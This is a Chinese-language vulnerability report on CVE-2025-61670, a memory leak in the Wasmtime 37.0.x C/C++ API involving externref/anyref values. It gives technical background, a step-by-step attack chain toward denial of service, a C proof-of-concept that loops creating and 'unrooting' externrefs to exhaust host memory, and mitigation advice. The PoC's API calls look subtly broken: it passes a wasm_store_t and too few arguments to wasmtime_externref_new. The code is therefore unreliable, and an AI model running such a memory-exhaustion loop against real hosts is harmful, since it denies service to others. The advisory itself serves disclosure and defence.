IPBUF安全漏洞报告
English
CVE-2025-61670 CVSS 3.3 低危

CVE-2025-61670 Wasmtime C/C++ API anyref/externref内存泄漏漏洞

披露日期: 2025-10-07

漏洞信息

漏洞编号
CVE-2025-61670
漏洞类型
内存泄漏
CVSS评分
3.3 低危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Wasmtime (WebAssembly运行时)

相关标签

内存泄漏WasmtimeWebAssemblyC APIC++ API资源管理拒绝服务anyrefexternref低危漏洞

漏洞概述

CVE-2025-61670是Wasmtime WebAssembly运行时中的一个内存泄漏漏洞,影响37.0.0和37.0.1版本。该漏洞源于37.0.0版本开发过程中的一次重构,将Rust内部的`ManuallyRooted<T>`类型替换为新的`OwnedRooted<T>`类型,但这一变更在集成到C/C++ API时未正确处理所有权语义,导致在使用`anyref`或`externref` WebAssembly值时出现内存泄漏。Wasmtime的Rust crate不受此漏洞影响。该漏洞的CVSS评分为3.3,属于低危级别,攻击向量为本地(AV:L),需要低权限(PR:L),无需用户交互(UI:N),对机密性影响为低(C:L),对完整性无影响(I:N),对可用性影响为低(A:L)。值得注意的是,`OwnedRooted<T>`类型分配的宿主内存位于store之外,因此即使销毁wasmtime_store_t也无法释放泄漏的内存,造成永久性内存泄漏。

技术细节

该漏洞的技术根源在于Wasmtime 37.0.0版本中Rust内部从`ManuallyRooted<T>`到`OwnedRooted<T>`的类型重构。旧类型`ManuallyRooted<T>`需要手动调用unroot操作来释放资源,但即使忘记unroot,内存仍会在wasmtime_store_t销毁时被清理。然而新类型`OwnedRooted<T>`具有不同的所有权语义——它在Rust析构函数中自动unroot,且分配的宿主内存位于store之外,这意味着泄漏的内存无法通过销毁store来恢复。具体存在三个相关问题:1)C API中`wasmtime_val_unroot`函数存在拼写错误(typo),导致该函数实际上并未执行unroot操作,即使嵌入者正确调用该函数,内存仍会泄漏;2)当宿主定义的函数返回`wasmtime_{externref,anyref}_t`值时,该值永远不会被unroot,因为C/C++ API不再持有该值的访问权,而Rust实现也未对其进行unroot;3)C++ API在添加`OwnedRooted<T>`时未更新类型系统来编码自动内存管理,导致`ExternRef`、`AnyRef`和`Val`类型缺少析构函数,符合惯用法的C++ API使用方式都会泄漏内存。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要在本机上安装受影响版本的Wasmtime(37.0.0或37.0.1),并使用其C或C++ API进行编程。
STEP 2
步骤2:触发泄漏条件
攻击者编写使用`anyref`或`externref`类型的WebAssembly代码,或通过宿主定义的函数返回这些类型的值,从而触发内存泄漏路径。
STEP 3
步骤3:内存耗尽
通过反复创建`externref`/`anyref`值并调用有缺陷的`wasmtime_val_unroot`函数,或通过宿主函数返回值,攻击者可以持续消耗宿主内存。由于`OwnedRooted<T>`分配的内存位于store之外,销毁store无法释放这些内存。
STEP 4
步骤4:拒绝服务
持续泄漏最终导致宿主系统内存耗尽,引发性能下降或拒绝服务(DoS)状态。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2025-61670: Wasmtime C API memory leak with externref // This PoC demonstrates the memory leak caused by the typo in wasmtime_val_unroot // and the missing unroot for host-defined function return values. #include <stdio.h> #include <stdlib.h> #include <wasmtime.h> // Simulate repeated creation and "unrooting" of externref values // to demonstrate the memory leak in Wasmtime 37.0.0/37.0.1 void demonstrate_leak() { wasm_engine_t *engine = wasm_engine_new(); wasm_store_t *store = wasm_store_new(engine); // Repeatedly create externref values and attempt to unroot them // In vulnerable versions, wasmtime_val_unroot is a no-op due to a typo for (int i = 0; i < 1000000; i++) { wasmtime_val_t val; val.kind = WASMTIME_EXTERNREF; val.of.externref = wasmtime_externref_new(store, (void *)(intptr_t)i); // This call should free the memory but is broken in vulnerable versions wasmtime_val_unroot(&val); // Memory accumulates because unroot doesn't actually work } // Even destroying the store won't free the leaked memory // because OwnedRooted<T> allocates outside the store wasm_store_delete(store); wasm_engine_delete(engine); // In vulnerable versions, significant memory remains allocated printf("Memory leak demonstrated - check process memory usage\n"); } int main() { demonstrate_leak(); return 0; }

影响范围

Wasmtime 37.0.0
Wasmtime 37.0.1

防御指南

临时缓解措施
在无法立即升级到37.0.2版本的情况下,唯一的已知临时缓解措施是避免在Wasmtime的C/C++ API中使用`externref`和`anyref`类型。如果业务逻辑必须使用这些类型,则必须升级到修复版本以缓解泄漏问题。此外,可以考虑在宿主程序中实施内存使用监控和限制机制,以检测和防止因内存泄漏导致的资源耗尽。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表